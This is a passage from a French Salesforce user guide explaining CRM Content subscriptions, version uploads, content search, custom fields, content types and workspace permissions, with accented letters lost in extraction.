Membre de l'espace de travail

Cliquer sur l'onglet Abonnements affiche la page d'accueil Abonnements qui permet de consulter vos abonnements Salesforce
CRM Content et les activer ou les dsactiver.
Remarque: Pour vous abonner un fichier, un pack de contenu, un lien Web ou un document Google, consultez sa
page de dtails du contenu, puis cliquez sur Non abonn. La page de dtails du contenu permet galement de s'abonner

Salesforce Content

Guide de l'utilisateur | Mise jour des versions de contenu | 1794

une balise, un auteur ou un espace de travail l'aide des menus droulants en regard du nom de la balise, de
l'auteur ou de l'espace de travail.
Dans l'onglet Abonnements, cliquez sur les sous-onglets Contenu, Balises, Auteurs ou Espaces de travail pour afficher vos
abonnements. En fonction de vos paramtres de notification, vous serez inform des modifications du contenu auquel vous
tes abonn via des e-mails en temps rel ou par un e-mail quotidien.
Conseil: Pour configurer vos paramtres de notification, slectionnez Configuration Mes informations personnelles,
puis cliquez sur Modifier. Slectionnez Recevoir les alertes Salesforce CRM Content par e-mail.
Si vous souhaitez recevoir un rcapitulatif quotidien plutt que des alertes par e-mail en temps rel, slectionnez
galement Recevoir les alertes Salesforce CRM Content sous la forme d'un rsum quotidien.
Les abonnements gnrent les notifications suivantes :

Si vous vous abonnez un fichier, vous serez inform lorsqu'une personne ajoute des commentaires au fichier ou lorsqu'une
nouvelle version du fichier est disponible. Si vous vous abonnez un lien Web ou un document Google, vous recevez une
notification lorsque des commentaires sont ajouts, mais non lorsque le lien change ou que le document est modifi.
Si vous vous abonnez un pack de contenu, vous recevez une notification lorsqu'une nouvelle version du pack est publie.
Si vous n'avez pas souscrit des fichiers individuels dans le pack de contenu, vous ne recevez pas les notifications de
publication de nouvelles versions des fichiers.
Si vous vous abonnez une balise, vous serez inform de tout nouveau contenu publi associ la balise laquelle vous
tes abonn. Pour tre inform des nouvelles versions du contenu balis, abonnez-vous au contenu.
Si vous vous abonnez un auteur, vous serez inform lorsque l'auteur publiera un nouveau contenu. Pour tre inform des
nouvelles versions du contenu d'un auteur, abonnez-vous au contenu.
Si vous vous abonnez un espace de travail, vous serez inform lorsquun nouveau contenu sera ajout l'espace de travail,
y compris un contenu existant dont un nouveau lien pointe sur l'espace de travail auquel vous tes abonn. Pour tre inform
des nouvelles versions du contenu de l'espace de travail, abonnez-vous au contenu.

Mise jour des versions de contenu

Autorisations utilisateur requises
Pour ajouter une nouvelle version :

cochez Ajouter du contenu dans la dfinition

d'autorisation sur votre espace de travail

En cliquant sur un nom de fichier dans n'importe quel onglet de Salesforce CRM Content, vous affichez la page de dtails
du contenu. Pour publier une nouvelle version du fichier et mettre jour ses proprits :
1. Cliquez sur Modifier Tlcharger une nouvelle version. L'option n'est pas disponible pour les liens Web, les packs
de contenu ou les documents Google.
Pour ajouter ou modifier des fichiers dans un pack de contenu, reportez-vous Cration et modification de packs de
contenu dans Salesforce CRM Content la page 1781.
2. Cliquez sur Parcourir pour localiser, puis slectionner le fichier mis jour.
3. Le cas chant, mettez jour les champs Titre et Description.
4. Remplissez le champ Motif de la modification. Ce texte est insr dans les notifications envoyes par e-mail aux
abonns et la liste de version apparat sur la page de dtails du contenu.
5. Pour publier le contenu pour le compte d'un autre auteur, choisissez l'auteur dans la liste droulante.

Salesforce Content

Guide de l'utilisateur | Recherche dans Salesforce CRM Content | 1795

6. Balisez votre contenu. Votre autorisation de balisage dpend de la rgle de balisage attribue l'espace de travail :

Si l'espace de travail ne dispose pas d'une rgle de balisage ou encore si votre administrateur a attribu une rgle ouverte
de balisage, vous pouvez alors insrer des balises dans le champ Balises. Lorsque vous saisissez une balise, Salesforce
CRM Content suggre automatiquement des balises en fonction de votre liste Mes balises rcentes et de la section
Balises courantes dans l'onglet Espaces de travail. La liste Mes balises rcentes dans la fentre Contribuer indique les
20 balises qui ont t rcemment utilises. Cliquez sur une balise pour l'ajouter automatiquement au champ Balises.
Si votre administrateur a attribu la rgle de balisage assist, vous avez alors la possibilit de choisir parmi la liste des
balises suggres ou de saisir une nouvelle balise. Cliquez sur une balise suggre pour l'ajouter automatiquement au
champ Balises.
Si votre administrateur a attribu la rgle de balisage limit, vous devez alors choisir parmi la liste des balises suggres.
Lorsque vous slectionnez une balise, elle prend la couleur verte.

7. Mettez jour les champs personnaliss selon vos besoins.

8. Cliquez sur Publier.
Remarque: Vous ne pouvez pas modifier un fichier dans Salesforce CRM Content. Pour modifier un fichier,
tlchargez-le depuis Salesforce CRM Content sur votre ordinateur, apportez vos modifications, puis tlchargez la
version mise jour l'aide du bouton Tlcharger une nouvelle version.
Le sous-onglet Versions de la page de dtail du contenu fournit la liste de toutes les versions du contenu. La liste Activits
rcentes de l'onglet Espace de travail avertit galement les utilisateurs des nouvelles versions du contenu.

Recherche dans Salesforce CRM Content

Autorisations utilisateur
Pour accder Salesforce CRM Content :

La case Utilisateur Salesforce CRM Content doit

tre coche dans vos informations personnelles
AND
Membre de l'espace de travail

Si Salesforce CRM Content est activ pour votre organisation, vous pouvez bnficier de la fonctionnalit Salesforce CRM
Content sur les pages de dtails des pistes, des comptes, des contacts, des opportunits, des produits, des requtes ou des objets
personnaliss. La liste associe Contenu associ permet de rechercher des fichiers, des packs de contenu, des liens Web ou des
documents Google, puis de les associer l'enregistrement. Lorsque vous joignez un fichier, la dernire version est disponible
pour la dure de vie de l'enregistrement moins que le fichier ne soit supprim.
partir de la liste associe Contenu associ, vous pouvez :

Cliquez sur le titre du contenu pour afficher la page d'informations de contenu dans laquelle vous pouvez excuter plusieurs
tches, telles que commenter le contenu et voter pour ce dernier, tlcharger des fichiers, ouvrir des pages Web et des
documents Google et vous abonner du contenu, des auteurs, des balises ou des espaces de travail. Pour plus d'informations,
reportez-vous Affichage et modification des dtails de contenu la page 1790.
Cliquez sur Suppr en regard d'un lment de contenu pour le supprimer de l'enregistrement. Cela ne supprime pas le
contenu de l'espace de travail Salesforce CRM Content.
Si les livraisons de contenu sont actives pour votre organisation, cliquez sur Livrer le contenu pour crer une livraison de
contenu. Une livraison de contenu permet de convertir aisment des documents, tels que les fichiers Microsoft PowerPoint

Salesforce Content

Guide de l'utilisateur | Recherche dans Salesforce CRM Content | 1796

et Word, vers une version optimise pour le Web en vue de faciliter leur affichage. Une fois la livraison cre, vous pouvez
envoyer son URL crypte n'importe quel destinataire, notamment des pistes, des clients, des partenaires et des collgues,
puis suivre le nombre de vues ou de tlchargements du contenu. En plus du suivi, les livraisons de contenu offrent plusieurs
avantages par rapport l'envoi de fichier en pice jointe, par exemple le contrle du dlai de disponibilit de la livraison
pour les visiteurs et si un visiteur peut tlcharger un fichier ou uniquement l'afficher en ligne. Pour plus d'informations,
reportez-vous Cration de livraisons de contenu la page 1786.
Recherche d'un contenu associ :
1. Cliquez sur Rechercher le contenu ou Rechercher tous. Dans les deux cas, Salesforce CRM Content recherche dans
les espaces de travail auxquels vous avez accs. Si vous cliquez sur Rechercher tous, les rsultats de la recherche affichent
tout le contenu dans vos espaces de travail. Pour la recherche dans le contenu, vos rsultats de recherche comprennent
le contenu correspondant l'enregistrement ; Salesforce CRM Content recherche le contenu dans le texte ou les attributs
qui correspondent aux champs suivants :
-

Dans une opportunit, le Nom de l'opportunit, le Nom de compte et tous les concurrents et les produits.
Dans un compte, le Nom du compte et le Secteur d'activit.
Dans une requte, le Motif de la requte, l'Objet, le Nom du compte et le Secteur d'activit.
Dans une piste, le Nom, l'Entreprise, leSecteur d'activit et le Titre.
Remarque: Dans un objet personnalis, le bouton Rechercher le contenu permet de renvoyer des rsultats de
recherche qui contiennent le nom complet de l'objet personnalis dans le texte ou les attributs du document.
Si aucun contenu ne correspond ce critre, les rsultats de recherche sont vides et vous devez utiliser la place
le bouton Rechercher tous.

2. Sur la page des rsultats de la recherche, filtrez vos rsultats selon vos besoins en saisissant les termes de recherche ou
en slectionnant des critres de filtre de slection dans le menu latral.
3. Cliquez sur Joindre pour tous les fichiers que vous souhaitez joindre l'enregistrement.
4. Cliquez sur le lien Retour pour revenir la page dtails.

Utilisation de la liste associe Contenu

Autorisations utilisateur requises
Pour accder Salesforce CRM Content :

La case Utilisateur Salesforce CRM Content doit

tre coche dans vos informations personnelles

La liste associe Contenu sur une page de dtails d'un enregistrement comprend des liens vers la totalit du contenu associ
cet enregistrement dans Salesforce CRM Content. Cliquez sur le nom du fichier dont vous souhaitez afficher la page de dtails.
Seuls les utilisateurs Salesforce CRM Content membres de l'espace de travail dans lequel le contenu a t publi sont autoriss
voir le fichier publi dans la liste associe Contenu. Par exemple, si vous slectionnez l'opportunit Affaire Importante lors
de la publication du fichier Stratgieaffaireimportante.doc dans l'espace de travail Ventes connexes, la liste associe
Contenu sur l'opportunit Affaire Importante affiche un lien vers le fichier Stratgieaffaireimportante.doc accessible
uniquement aux membres de l'espace de travail Ventes connexes. Les utilisateurs n'tant pas membres de cet espace de travail
ne peuvent pas voir ce lien.

Salesforce Content

Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1797

La liste associe Contenu associ peut tre utilise pour accder Salesforce CRM Content partir des pistes, des comptes,
des contacts, des opportunits, des produits, des requtes ou encore des objets personnaliss. Pour plus d'informations,
reportez-vous Recherche de Salesforce CRM Content la page 1795.

Configuration de Salesforce CRM Content

Personnalisation de Salesforce CRM Content
Autorisations utilisateur requises
Pour crer, modifier ou supprimer des champs de contenu :

Grer les proprits du contenu

OU
Grer Salesforce CRM Content

Pour dfinir ou modifier des rgles de validation de champ :

Personnaliser l'application

Pour crer, modifier ou supprimer des types de contenus :

Grer les types de contenus

OU
Grer Salesforce CRM Content

Pour crer, modifier ou supprimer des autorisations sur l'espace Grer les autorisations de contenu
de travail :
OU
Grer Salesforce CRM Content
Modifier les paramtres de contenu :

Grer Salesforce CRM Content

Cliquez sur Configuration Personnalisation Salesforce CRM Content pour accder aux options suivantes pour la
personnalisation de Salesforce CRM Content :
Conseil: Pour effectuer la configuration initiale de Salesforce CRM Content pour votre entreprise, reportez-vous
Configuration de Salesforce CRM Content la page 1798.

Champs de contenu : permettent de crer, modifier ou supprimer des champs de contenu personnaliss. Les champs
personnaliss permettent aux utilisateurs d'organiser et de dfinir les contenus durant le processus de publication.
Rgles de validation : permettent de crer, modifier ou supprimer des rgles de validation. Avant que l'utilisateur enregistre
le contenu, les rgles de validation vrifient que les donnes saisies par l'utilisateur lors de la publication respectent les
normes spcifies.
Types de contenu : permettent de crer, modifier ou supprimer le type de contenu dans lesquels les champs de contenu
sont attribus. Le type de contenu dtermine la prsentation des champs dans Salesforce CRM Content.
Autorisations sur l'espace de travail : permettent de crer, modifier ou supprimer des autorisations sur l'espace de travail.
Une autorisation sur l'espace de travail dtermine les droits d'utilisateur dans un espace de travail.

Salesforce Content

Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1798

Paramtres : permettent de modifier les paramtres par dfaut de Salesforce CRM Content pour le support multilingue,
les tlchargements de fichiers PDF, la cration d'un pack de contenu, l'assemblage de prsentations personnalises ou le
visualiseur de documents avanc.

Pour crer, modifier ou supprimer des espaces de travail, attribuer un nouvel utilisateur un espace de travail ou modifier le
rle d'un utilisateur dans un espace de travail, reportez-vous Gestion des espaces de travail la page 1771.
Remarque: Salesforce.com offre un espace de stockage de donnes et de fichiers en fonction de l'dition et du nombre
de licences utilisateur. Chaque licence utilisateur Salesforce CRM Content fournit 500 Mo d'espace de stockage
supplmentaire votre organisation en complment de l'espace de stockage total qui lui est allou. Pour plus
d'informations et pour afficher l'utilisation de l'espace de stockage individuel et de l'ensemble de l'organisation,
reportez-vous Surveillance des ressources la page 218.

Configuration de Salesforce CRM Content

Autorisations utilisateur requises
Pour crer, modifier ou supprimer des autorisations sur l'espace Grer les autorisations de contenu
de travail :
OU
Grer Salesforce CRM Content
Pour crer, modifier ou supprimer des types de contenus :

Grer les types de contenus

OU
Grer Salesforce CRM Content

Pour crer des champs de contenu :

Grer les proprits du contenu

OU
Grer Salesforce CRM Content

Pour crer des espaces de travail :

Crer des espaces de travail

OU
Grer Salesforce CRM Content

Pour modifier ou supprimer des espaces de travail :

Grer Salesforce CRM Content

Pour configurer Salesforce CRM Content pour votre organisation :

1. Pour autoriser un utilisateur accder Salesforce CRM Content, attribuez-lui une licence de fonctionnalit Salesforce
CRM Content. Cliquez sur Configuration Grer les utilisateurs Utilisateurs, puis cliquez sur Modifier en regard
du nom de l'utilisateur concern. Cochez la case Utilisateur Salesforce CRM Content, puis cliquez sur Enregistrer.
2. Vrifiez que le profil attribu aux utilisateurs Salesforce CRM Content dispose des autorisations utilisateurs Salesforce
CRM Content actives. L'autorisation utilisateur comprend Grer Salesforce CRM Content , Crer des espaces de
travail , Grer les autorisations de contenu , Grer les proprits du contenu , Grer les types de contenu et
Livrer les fichiers et contenus personnels tlchargs .

Salesforce Content

Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1799

Pour plus d'informations sur ces autorisations utilisateur, reportez-vous Autorisations utilisateurs sur les profils la page
117.
Remarque: Les utilisateurs qui disposent de l'autorisation Livrer les fichiers et contenus personnels tlchargs
peuvent crer des livraisons de contenu partir d'espaces de travail personnels. Cette autorisation utilisateur
n'affecte pas la possibilit de livrer des contenus partir d'espaces de travail.
3. Vous pouvez galement crer un groupe public avec un ensemble d'utilisateurs Salesforce CRM Content. Pour gagner du
temps, attribuez un espace de travail au groupe, plutt que d'attribuer le mme espace de travail chaque utilisateur
individuellement. Reportez-vous Cration et modification de groupes la page 136.
4. Vous pouvez galement crer une ou plusieurs autorisations d'espace de travail. Les autorisations sur l'espace de travail sont
les groupes de privilges qui dterminent l'accs d'un utilisateur un espace de travail. Chaque utilisateur doit disposer
d'une autorisation d'espace de travail avant de pouvoir utiliser son espace de travail. Toutes les nouvelles organisations
contiennent trois autorisations d'espace de travail : Administrateur d'espaces de travail, auteur et visualiseur. Pour plus
d'informations, reportez-vous Gestion des autorisations sur les espaces de travail la page 1804.
5. Pour crer un espace de travail, y ajouter des membres et attribuer ces derniers des autorisations sur les espaces de travail,
utilisez l'Assistant nouvel espace de travail. Reportez-vous Cration d'espaces de travail la page 1810.
6. Qualifier et dfinir votre contenu :
a. Crer des champs de contenu. Ce sont des champs personnaliss que vous attribuez un type de contenu. Les champs
par dfaut sont Description, Balises, et Titre. Si vous souhaitez crer un champ intitul Rvis par par
exemple, alors votre champ de contenu personnalis sera une liste de slection contenant les noms des rviseurs potentiels.
Reportez-vous Personnalisation des champs de contenu la page 1800.
b. Crer un type de contenu personnalis ou modifier le type de contenu gnral. Les types de contenu sont semblables
des conteneurs pour les champs personnaliss. Ils dterminent les champs disponibles au cours du processus de
publication ainsi que l'affichage des champs sur la page de dtails du contenu. Vous pouvez crer des types de contenu
multiples et attibuer un champ de contenu l'un ou tous les types de contenu. Par exemple, si les utilisateurs des
services vente et marketing doivent enregistrer diffrentes donnes propos de leur contenu, vous pouvez crer des
types de contenu Vente et marketing. Si vous crez un champ de recherche Campagne associe et que vous l'ajoutez
uniquement au type de contenu Marketing, les utilisateurs slectionnant le type de contenu Ventes au cours du processus
de tlchargement ne se verront pas proposer de choix de campagne. Reportez-vous Configuration des types de
contenu la page 1801.
7. Vous pouvez aussi activer le service Ajouter un document Google Salesforce.com afin que les membres de l'espace de
travail puissent faire participer les documents Google Salesforce CRM Content. Reportez-vous Activation de Google
Documents dans Salesforce.com la page 1842
Pour personnaliser Salesforce CRM Content aprs la configuration initiale, tel qu'ajouter de nouveaux champs de contenu ou
modifier les autorisations sur les espaces de travail, reportez-vous Personnalisation de Salesforce CRM Content la page
1797.

Salesforce Content

Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1800

Personnalisation des champs de contenu

Autorisations utilisateur requises
Pour crer, modifier ou supprimer des champs personnaliss Grer Salesforce CRM Content
:
OU
Grer les proprits du contenu

Cliquez sur Configuration Personnalisation Salesforce CRM Content Champs pour crer, modifier et supprimer
les champs personnaliss Salesforce CRM Content afin d'organiser et de dfinir votre contenu. Les donnes attribues ces
champs au cours du tlchargement sont affiches sur la page de dtails du contenu pendant toute la dure de vie du fichier.
Une fois les champs de contenu personnaliss crs, vous devez les attribuer un type de contenu. Le type de contenu dtermine
quels champs s'affichent lorsqu'un utilisateur tlcharge ou contrle des fichiers dans Salesforce CRM Content. Pour plus
d'informations, reportez-vous Configuration des types de contenu la page 1801.
Pour crer un champ de contenu personnalis :
1. Cliquez sur Nouveau dans la liste associe Champs personnaliss & relations.
Si vous devez crer des champs distincts, reportez-vous Dfinition de dpendances de champs la page 380.
2. Choisissez le type de champ crer, puis cliquez sur Nouveau.
Remarque:

Certains types de donnes sont uniquement disponibles pour certaines configurations. Par exemple, l'option
Relation principal-dtails est disponible uniquement pour les objets personnaliss lorsque l'objet
personnalis n'a pas encore de relation principal-dtails. En outre, les paramtres personnaliss autorisent
uniquement un sous-ensemble des types de donnes disponibles.
Le nombre de champs de relation est pris en compte dans le nombre maximal de champs personnaliss autoris.
L'option Rcapitulatif de cumul est uniquement disponible sur certains objets. Pour obtenir la liste de
ces objets, reportez-vous propos des champs rcapitulatifs de cumul la page 470.
Les types de champs correspondent des types de donnes API. Pour plus d'informations, reportez-vous
Types de donnes API et Types de champs API dans le document Force.com Web Services API Developer's
Guide.

3. Pour les champs de relation, choisissez l'objet associer. Pour plus d'informations sur les relations, reportez-vous
Prsentation des relations la page 697.
4. Saisissez l'tiquette d'un champ.
Le nom du champ est automatiquement peupl en fonction de l'tiquette que vous saisissez. Ce nom ne peut contenir que
des caractres de soulignement et alphanumriques, et il doit tre unique dans votre organisation. Il doit commencer par
une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de
soulignement conscutifs. Utilisez le nom de champ pour les champs de fusion dans les liens personnaliss et les commandes
Custom S-Control, et pour faire rfrence au champ partir de l'API. Pour plus d'informations, reportez-vous Consignes
d'utilisation des champs de fusion la page 67.

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Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1801

Conseil: Assurez-vous que le nom du champ personnalis est diffrent de tout nom de champ standard de cet
objet. Si un champ personnalis et un champ standard portent le mme nom et que vous rfrencez ce nom dans
un champ de fusion, ce dernier affiche la valeur du champ personnalis.
5. Choisissez le type de contenu qui doit tre affich par ce champ sous la forme d'un champ modifiable.
6. Pour les champs de relation, vous pouvez choisir de crer une liste associe qui affiche des informations sur les enregistrements
associs. Vous avez la possibilit d'intgrer la liste associe dans n'importe quelle prsentation de page de l'objet en question.
Pour modifier l'tiquette de la liste associe personnalise sur les prsentations de page de l'objet associ, modifiez
l'tiquette de la liste associe.
Pour ajouter la nouvelle liste associe aux prsentations de page que des utilisateurs ont dj personnalises, cochez la case
Ajouter les lments associs aux personnalisations existantes de l'utilisateur.
Pour modifier ou supprimer un champ de contenu personnalis, cliquez sur Modifier ou sur Suppr dans la liste associe
Champs personnaliss & relations de ce contenu. Vous ne pouvez pas modifier ou supprimer les champs standard de contenu.
Salesforce.com stocke les champs personnaliss supprims et les donnes qu'ils contiennent jusqu' ce que votre organisation
les supprime dfinitivement ou que 45 jours se soient couls, selon le premier de ces vnements. Jusqu' ce moment, vous
pouvez restaurer le champ et ses donnes. Pour plus d'informations sur la restauration des relations et des champs personnaliss
supprims, reportez-vous Gestion des champs personnaliss supprims la page 415.

Configuration des types de contenu

Autorisations utilisateur requises
Pour crer, modifier ou supprimer des types de contenus :

Grer les types de contenus

OU
Grer Salesforce CRM Content

Les types de contenus sont les conteneurs de champs personnaliss dans Salesforce CRM Content ; les types de contenu
dterminent les champs disponibles pendant le processus de publication et la faon dont les champs s'affichent sur la page
dtails de contenu. Si plusieurs types de contenus sont disponibles dans un espace de travail, les utilisateurs peuvent slectionner
un type de contenu aprs avoir contribu des fichiers, des packs de contenu, des documents Google ou des liens Web.
Pour travailler avec des types de contenus, cliquez sur Configuration Personnalisation Salesforce CRM Content
Types de contenus. Vous pouvez:

cliquer sur Nouveau pour crer des types de contenus ; reportez-vous Cration des types de contenus la page 1802.
cliquer sur Modifier pour modifier des types de contenus ; reportez-vous Modification des types de contenus la page
1802.
cliquer sur Suppr pour supprimer un type de contenu.
cliquer sur listes de slection pour modifier les listes de slection d'un type de contenu. Les listes de slection sont des
listes de slection personnalises qui permettent aux utilisateurs de slectionner des valeurs dans la liste d'entres prdfinie.

Lors de la modification d'un espace de travail, vous pouvez choisir les types de contenus visibles pour les contributeurs de
l'espace de travail. Pour plus d'informations, reportez-vous Restriction des types de contenus la page 1812.

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Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1802

Cration de types de contenus

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des types de contenus :

Grer les types de contenus

OU
Grer Salesforce Content

Les types de contenus sont les conteneurs de champs personnaliss dans Salesforce CRM Content ; les types de contenu
dterminent les champs disponibles pendant le processus de publication et la faon dont les champs s'affichent sur la page
dtails de contenu. Si plusieurs types de contenus sont disponibles dans un espace de travail, les utilisateurs peuvent slectionner
un type de contenu aprs avoir contribu des fichiers, des packs de contenu, des documents Google ou des liens Web.
Pour crer un nouveau type de contenu :
1. Cliquez sur Configuration Personnalisation Salesforce Content Types de contenus.
2. Cliquez sur le bouton Nouveau, puis choisissez ventuellement le type de contenu que vous souhaitez copier.
Vous avez galement la possibilit de slectionner un type de contenu existant dans la liste des types de contenus, puis de
cliquer sur le bouton Cloner.
3. Saisissez le nom du nouveau type de contenu.
4. Cliquez sur Enregistrer.
Reportez-vous Modification des types de contenus la page 1802 pour les instructions concernant la modification du type de
contenu.
Remarque: Lors de la modification d'un espace de travail, vous pouvez choisir les types de contenus visibles pour les
contributeurs de l'espace de travail. Pour plus d'informations, reportez-vous Restriction des types de contenus la
page 1812.

Modifications des types de contenu

Autorisations utilisateur requises
Pour modifier des types de contenus :

Grer les types de contenus

OU
Grer Salesforce Content

Les types de contenu contrlent l'organisation et la visibilit des champs des pages de tlchargement et de dtails de Salesforce
CRM Content.
Pour modifier un type de contenu :

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Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1803

1. Cliquez sur Configuration Personnalisation Salesforce CRM Content Types de contenus.

2. Identifiez le type de contenu que vous souhaitez modifier, puis cliquez sur Modifier.
3. Pour organiser les champs du type de contenu, slectionnez un ou plusieurs champs dans la zone de droite et faites-les
glisser l'emplacement dsir.

Tout en maintenant la touche Ctrl enfonce, cliquez sur les lments slectionner.
Procdez de mme avec la touche Maj. pour slectionner plusieurs lments contigus.
Les lments non inclus dans le type de contenu apparaissent dans la zone droulante de droite.
Remarque: Utilisez la lgende pour dterminer les champs obligatoires, dpendants, de contrle et ceux dont les
attributs peuvent affecter les dcisions relatives au type de contenu.

4. Pour rendre un champ obligatoire, double-cliquez sur le nom du fichier dans la zone de gauche puis cochez la case
Obligatoire.
Remarque: Mme si l'option Lecture seule apparat, les champs de Salesforce CRM Content ne peuvent pas tre
en lecture seule.
5. Cliquez sur Enregistrer pour achever la procdure. Vous pouvez galement cliquer sur Enregistrement rapide pour
enregistrer et poursuivre les modifications du type de contenu.

Personnalisation des listes de slection de contenu

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des listes de slection :

Personnaliser l'application

Les types de contenus sont les conteneurs de champs personnaliss dans Salesforce CRM Content ; les types de contenu
dterminent les champs disponibles pendant le processus de publication et la faon dont les champs s'affichent sur la page
dtails de contenu. Une liste de slection permet aux utilisateurs de slectionner des valeurs dans une liste d'entres prdfinies.
Pour crer une liste de slection, reportez-vous Personnalisation des champs de contenu la page 1800. Pour modifier les listes
de slection disponibles pour les types de contenu :
1. Cliquez sur Configuration Personnalisation Salesforce CRM Content Types de Contenu, puis cliquez sur le
lien Listes de slection.
2. Slectionnez un type de contenu, puis cliquez sur Modifier en regard de l'un des champs de liste de slection pour
personnaliser les valeurs incluses dans le type de contenu.
3. Ajoutez des valeurs la liste Valeurs disponibles ou supprimez des valeurs de la liste Valeurs slectionnes. Les utilisateurs
pourront choisir des valeurs dans la liste des valeurs slectionnes lorsqu'ils publieront ou qu'ils modifieront des dtails de
contenu.
4. Si vous le souhaitez, choisissez une valeur de liste de slection par dfaut. Certaines listes de slection ncessitent une valeur
par dfaut. La valeur par dfaut d'un champ dpendant est ignore.
5. Cliquez sur Enregistrer.

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Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1804

Remarque: La liste de slection principale, constituant la liste complte des valeurs d'une liste de slection, est
indpendante de tous les types de contenu. Si vous ajoutez une valeur de liste de slection la liste de slection principale,
vous devez inclure manuellement cette nouvelle valeur dans les types de contenu appropris. Si vous supprimez une
valeur de liste de slection de la liste principale, cette dernire ne sera plus disponible lors de la publication du nouveau
contenu. Toutefois, le contenu existant attribu cette valeur reste inchang.

Gestion des autorisations sur l'espace de travail

Autorisations utilisateur requises
Pour crer, modifier ou supprimer des autorisations sur l'espace Grer Salesforce CRM Content
de travail :
OU
Grer les autorisations de contenu

Cliquez sur Configuration Personnalisation Salesforce CRM Content Autorisations sur l'espace de travail pour
grer les autorisations sur l'espace de travail. Une autorisation sur l'espace de travail est un groupe de privilges attribus
chaque membre de l'espace de travail Salesforce CRM Content. Elle dtermine quelles tches un membre peut effectuer dans
un espace de travail particulier. Le mme utilisateur peut avoir une autorisation diffrente sur l'espace de travail dans chacun
de ses espaces de travail.
Remarque: Si votre organisation Salesforce CRM Content a t cre aprs la version Spring '09, elle dispose dj
de trois autorisations d'espace de travail : Administrateur d'espaces de travail, auteur et visualiseur.
Pour crer une autorisation personnalise sur l'espace de travail, cliquez sur le bouton Ajouter des permissions sur l'espace
de travail. Pour modifier une autorisation sur l'espace de travail, cliquez sur Modifier en regard du nom de l'autorisation sur
l'espace de travail. Pour supprimer une autorisation sur l'espace de travail, cliquez sur Suppr en regard du nom de l'autorisation
sur l'espace de travail.
Remarque: Les autorisations d'espace de travail ne s'appliquent pas aux espaces de travail personnels. Tous les
utilisateurs Salesforce CRM Content peuvent enregistrer des fichiers dans leur espace de travail.

Cration d'autorisations sur l'espace de travail

Autorisations utilisateur requises
Pour crer des autorisations sur l'espace de travail :

Grer Salesforce CRM Content

OU
Grer les autorisations de contenu

Pour crer une autorisation sur l'espace de travail dans Salesforce CRM Content, cliquez sur Configuration Personnalisation
Salesforce CRM Content Autorisations sur l'espace de travail, puis cliquez sur Ajouter des autorisations sur l'espace
de travail.

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Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1805

Conseil: Pour vos premires autorisations sur l'espace de travail, crez les autorisations Lecteur , Auteur et
Administrateur d'espaces de travail . Ces trois autorisations sur l'espace de travail offrent diffrents niveaux d'accs
l'espace de travail requis pour la plupart des entreprises. Pour l'autorisation sur l'espace de travail Lecteur ,
slectionnez les privilges de l'espace de travail Afficher les commentaires et Ajouter des commentaires.
Pour l'autorisation sur l'espace de travail Auteur, activez les privilges d'espace de travail Ajouter du contenu,
Ajouter du contenu pour le compte d'autres utilisateurs, Archiver le contenu, Ajouter
des commentaires et Baliser le contenu. Pour l'autorisation Administrateur d'espaces de travail, slectionnez
le privilge Grer l'espace de travail. Si votre organisation Salesforce CRM Content a t cre aprs la
version Spring '09, elle dispose dj des autorisations d'espace de travail Visualiseur, Auteur et Administrateur d'espaces
de travail.
1. Attribuez un nom l'autorisation sur l'espace de travail.
2. Entrez ventuellement la description de l'autorisation sur l'espace de travail. Si votre entreprise possde plusieurs autorisations
sur l'espace de travail, dcrivez chacune d'elles par sa fonction ou par un rcapitulatif de ses privilges. Par exemple, pour
une autorisation valuateur marketing , vous pouvez inclure une description telle que value tout le contenu utilis
dans les campagnes marketing pour l'exportation ou Cet utilisateur peut consulter et commenter des documents .
3. Dans la section Autorisations, cochez les cases qui correspondent aux privilges que vous souhaitez accorder aux utilisateur
ayant cette autorisation sur l'espace de travail.
Privilge sur l'espace de travail

Description

Grer l'espace de travail

Effectuer une action dans l'espace de travail. Ce privilge

est obligatoire pour modifier le nom et la description de
l'espace de travail, pour ajouter ou pour supprimer des
membres de l'espace de travail ou pour supprimer un espace
de travail.
La cration d'un nouvel espace de travail ncessite les
autorisations utilisateur Grer Salesforce CRM Content
ou Crer des espaces de travail .

Ajouter du contenu

Publier un nouveau contenu dans l'espace de travail,

tlcharger des versions avec un nouveau contenu ou restaurer
un contenu archiv (supprim). Les auteurs de contenu
peuvent aussi modifier des balises associes leur contenu
et archiver ou supprimer leur propre contenu.

Supprimer le contenu

Supprimer du contenu de l'espace de travail. Les auteurs

peuvent annuler la suppression de leur propre contenu
partir de la corbeille.

Prsenter du contenu

Identifier comme prsent un contenu de l'espace de

travail.

Afficher les commentaires

Lire des commentaires affichs sur un contenu de l'espace

de travail.

Ajouter des commentaires

Afficher des commentaires sur un contenu de l'espace de

travail et consulter tous les commentaires de l'espace de
travail. Les utilisateurs peuvent modifier ou supprimer leurs
propres commentaires.

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Guide de l'utilisateur | Personnalisation de Salesforce CRM Content | 1806

Privilge sur l'espace de travail

Description

Modifier les commentaires

Modifier ou supprimer des commentaires crits sur un

contenu de l'espace de travail.

Baliser le contenu

Ajouter des balises lors de la publication de contenu ou de

la modification des dtails du contenu dans l'espace de travail.

Livrer le contenu

Crer une livraison de contenu l'aide d'un fichier de l'espace

de travail.

4. Cliquez sur Enregistrer.

Modification des autorisations sur l'espace de travail

Autorisations utilisateur requises
Pour modifier des autorisations sur l'espace de travail :

Grer Salesforce CRM Content

OU
Grer les autorisations de contenu

Pour modifier une autorisation sur un espace de travail Salesforce CRM Content, cliquez sur Configuration Personnalisation
Salesforce CRM Content Autorisations sur l'espace de travail et cliquez sur Modifier en regard de l'autorisation
approprie.
1. Attribuez un nom l'autorisation sur l'espace de travail.
2. Entrez ventuellement la description de l'autorisation sur l'espace de travail. Si votre entreprise possde plusieurs autorisations
sur l'espace de travail, dcrivez chacune d'elles par sa fonction ou par un rcapitulatif de ses privilges. Par exemple, pour
